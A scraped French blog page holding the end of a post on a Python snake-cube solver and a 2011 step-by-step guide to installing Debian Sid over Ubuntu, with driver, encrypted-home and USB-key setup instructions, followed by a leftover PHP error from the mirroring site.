Afin d’utiliser ce principe pour la génération des solutions, les fonctions SnakeCubeSolver.solve() et SnakeCubeSolver.__solve_rec(…) ne sont donc pas des fonctions ordinaires, mais des générateurs :

if step == len(self.structure):
    yield init_cursor, self.volume_helper.path[:]

Grâce à cette implémentation, il est possible de parcourir toutes les solutions :

for solution in solver.solve():
    print solution

ou alors de ne générer que les k premières :

max_solutions = 5
solutions = solver.solve()
for i in xrange(max_solutions):
    try:
        print solutions.next()
    except StopIteration:
        break

Lambdas

Python supporte aussi les expressions lambda, issues du lambda-calcul, qui permettent d’écrire des fonctions anonymes simplement.

J’utilise cette fonctionnalité une fois dans le programme :

needed_length = reduce(lambda x, y: x * y, self.dimensions) - 1

Il s’agit de la déclaration d’une fonction avec deux arguments, qui retourne leur produit.

La fonction reduce(function, iterable, …) permet d’appliquer cumulativement la fonction aux éléments de l’iterable, de gauche à droite, de manière à réduire l’iterable en une seule valeur.

Même si “ce qui se conçoit bien s’énonce clairement”, la fonction reduce est bien plus facile à comprendre qu’à expliquer en quelques mots…

Ici, donc, needed_length contient le produit de tous les éléments de la liste self.dimensions.

Conclusion

La résolution du cube-serpent est intéressante, tout comme sa généralisation à n’importe quel volume de dimensions quelconque. Je me suis arrêté là (EDIT : finalement, non), mais la détection des symétries et des rotations “au plus tôt” serait une amélioration non négligeable (et pas si évidente).

Débutant tout juste en Python, ce micro-projet m’a permis de beaucoup apprendre, et de découvrir quelques bonnes surprises comme les expressions yield que je ne connaissais pas.

J’espère que ça vous a amusé aussi.

Script

Le code source est disponible sur ce dépôt git :

git clone http://git.rom1v.com/snakesolver.git

(ou sur github).

Installer Debian Sid

dimanche 28 août 2011 à 18:04

Je viens de migrer mon PC principal vers Debian Sid (unstable), qui remplace Ubuntu, après 5 ans de bons et loyaux services.

debian

Il y a de nombreuses manières d’installer Debian, plusieurs versions, plein d’architectures… L’objectif de cet article est de décrire l’installation telle que je l’ai réalisée.

Dans l’ordre :

Bien sûr, avant tout, faites des sauvegardes de toutes vos données importantes. Cet avertissement est sûrement inutile, j’imagine que vous faites, comme tout le monde, plusieurs backups par semaine… ;-)

Téléchargement

Sur la page d’accueil de Debian, dans “Obtenir Debian”, c’est la version stable.

Ce qui nous intéresse, c’est la version testing, à partir de laquelle on peut passer en unstable dès l’installation. Celle-ci est disponible dans “Le coin du développeur”, Installateur de Debian.

Ici, il faut regarder la partie “images de CD d’installation par le réseau (en général 135 à 175 Mo) et au format carte de visite (en général 20 à 50 Mo)”, et cliquer sur l’architecture souhaitée. Typiquement, il faut prendre amd64 pour du 64 bits et i386 pour du 32 bits.

Choisir l’image businesscard (la plus petite). Pour moi : debian-testing-amd64-businesscard.iso.

EDIT : En fait, autant utiliser l’iso du CD1 qu’on pourra installer sur une clé USB, l’installation n’en sera que plus rapide.

Clé USB

Connaître l’emplacement

Nous avons besoin de connaître l’emplacement de la clé, sous la forme /dev/sdX. Une méthode parmi d’autres est de consulter /var/log/syslog lors du branchement. Pour cela, insérer la clé USB et exécuter :

tail /var/log/syslog

Vous devriez obtenir plusieurs lignes qui ressemblent à ceci :

Aug 28 00:54:27 rom-laptop kernel: [ 1868.930100] sd 4:0:0:0: [sdb] 2015232 512-byte logical blocks: (1.03 GB/984 MiB)

Sur cet exemple, nous voyons [sdb], nous en concluons que l’emplacement de la clé est /dev/sdb.

Alternativement, si la clé est montée, il est possible d’obtenir cet emplacement dans le résultat de :

df -h

Ne vous trompez surtout pas d’emplacement, vous risqueriez d’écraser toutes les données de votre disque dur !

Préparer

Si vous avez une clé réservée pour vos installations de systèmes d’exploitation (sans données à conserver), je vous conseille la méthode la plus simple, qui écrase tout ce qu’il y a sur la clé (4.3.1) :

$ sudo -s
# cat debian-testing-amd64-businesscard.iso > /dev/sdb
# sync

Ensuite, il faut redémarrer, et configurer le BIOS pour qu’il boote sur clé USB (souvent, les clés USB sont reconnues comme un disque dur, il faut donc régler la priorité entre les disques durs).

Installation

Pour l’installation, l’ordinateur doit être connecté à Internet par un câble Ethernet.

L’ordinateur boote sur la clé USB, et affiche un menu d’installation de Debian. Sélectionner “Advanced Options”. Ici, il est possible changer l’environnement de bureau (Gnome, KDE, XFCE…). Par défaut, c’est Gnome. Ensuite, sélectionner “Expert Install” pour lancer l’installation (afin de pouvoir choisir sid/unstable au lieu de testing dès l’installation).

debian-installer

Lors de l’étape de partitionnement, dans l’hypothèse où le disque dur utilise une partition séparée pour le home, ne pas oublier de configurer les points de montage (/ et /home), et ne pas formater /home (pour conserver les données personnelles).

Utiliser le même nom d’utilisateur et mot de passe que celui d’Ubuntu (c’est important pour accéder au répertoire home chiffré).

Je ne détaille pas les autres étapes d’installation, il suffit de lire.

Déchiffrer le home

Une fois l’installation terminée et le système démarré, il n’est pas possible de se connecter graphiquement avec le compte utilisateur, car le home est chiffré et par défaut, eCryptFS n’est pas installé. Il faut donc l’installer.

Pour cela, ouvrir un TTY (Ctrl+Alt+F1), se connecter en root (ou avec le compte utilisateur si vous avez interdit la connexion de root, dans ce cas utiliser sudo), puis installer ecryptfs-utils :

apt-get install ecryptfs-utils

Si lors de l’installation vous n’avez pas choisi le même mot de passe que sur Ubuntu, profitez-en pour le rétablir :

passwd monlogin

Maintenant, il est possible de se connecter graphiquement, en retournant dans le TTY graphique (Ctrl+Alt+F7).

Gestionnaire de composite

Pour moi, il est indispensable d’utiliser un gestionnaire de composite. Pour au moins 3 raisons :

Par défaut, Metacity (le gestionnaire de fenêtres de Gnome) n’en utilise pas. C’est la raison pour laquelle Compiz se révèle souvent indispensable. Cependant, je viens de découvrir que Metacity savait gérer le compositing, grâce à une option bien cachée. Pour l’activer :

gconftool-2 -s -t boolean /apps/metacity/general/compositing_manager true

Il est également possible d’utiliser gconf-editor :

gconf

Il n’est pas configurable, et ne permet pas de faire tout ce que fait Compiz, mais pour moi c’est suffisant.

Pilotes NVIDIA

J’ai la malchance d’avoir une carte graphique NVIDIA, qui nécessite dans certains cas d’avoir recours à des pilotes privateurs. Sans eux, impossible de faire fonctionner Compiz ni certains jeux.

Cependant, le pilote libre Nouveau (installé par défaut) est assez impressionnant par rapport à l’ancien (nv). Et même s’il ne permet pas de démarrer Compiz, il supporte le compositing de Metacity avec de bonnes performances.

En installant le paquet libgl1-mesa-dri-experimental, le pilote Nouveau_ sait faire fonctionner Compiz et surtout Gnome-Shell. Il faut simplement prendre soin d’avoir supprimé toute trace éventuelle du pilote propriétaire :_

apt-get remove nvidia-*

Pour néanmoins installer les pilotes privateurs (les dépôts non-free doivent être activés) :

apt-get install nvidia-kernel-dkms nvidia-xconfig nvidia-settings
nvidia-xconfig

Remplacer nvidia-kernel-dkms par nvidia-kernel-legacy-_VERSION_-dkms pour une carte graphique nécessitant des pilotes plus anciens.

Puis rebooter.

Pilotes WiFi

J’ai également dû installer des pilotes pour ma carte WiFi :

$ lspci | grep Network
03:00.0 Network controller: Intel Corporation WiFi Link 5100

Il suffit d’installer le paquet non-libre firmware-iwlwifi :

apt-get install firmware-iwlwifi

Il y a plusieurs paquets en firmware-_quelquechose_, selon votre matériel.

Agencement du clavier

Avec la version actuelle, Debian Sid installe par défaut l’agencement du clavier “France (Obsolète) Autre” au lieu de “France Autre”. Je vous conseille de le changer dans Système → Préférences → Clavier → Agencements, sinon vous risquez d’avoir des surprises (notamment si vous utilisez des pipes dans un terminal)…

EDIT : Cela ne suffit pas, pour que le réglage soit conservé, il faut en fait le changer dans GDM (l’écran de connexion), une liste déroulante en bas permet de changer la disposition du clavier.

Conclusion

Avant la migration, j’avais un peu peur pour la conservation du home chiffré… Mais finalement, aucun souci.

Par rapport à Ubuntu, j’apprécie beaucoup d’avoir des versions plus à jour des logiciels sans passer par des PPA. Et aussi d’avoir plus de logiciels dans les dépôts par défaut (pino par exemple). L’installation est cependant un peu moins simple qu’Ubuntu (il faut avouer qu’il est difficile de faire plus simple).

Pour finir, voici une capture d’écran juste après l’installation (avec, comme le veut la tradition, un terminal ouvert) :

debian-screenshot

Error happened! 0 - Call to undefined function simplexml_load_string() In: /var/www/Projet-Autoblog/autoblogs/autoblog.php:364 http://www.couturat.fr/Projet-Autoblog/autoblogs/blogrom1vcom_4af8d17d34d978843ff2ff40339aa5760e6458bc/?13 #0 /var/www/Projet-Autoblog/autoblogs/autoblog.php(932): VroumVroum_Blog->update() #1 /var/www/Projet-Autoblog/autoblogs/blogrom1vcom_4af8d17d34d978843ff2ff40339aa5760e6458bc/index.php(1): require_once('/var/www/Projet...') #2 {main}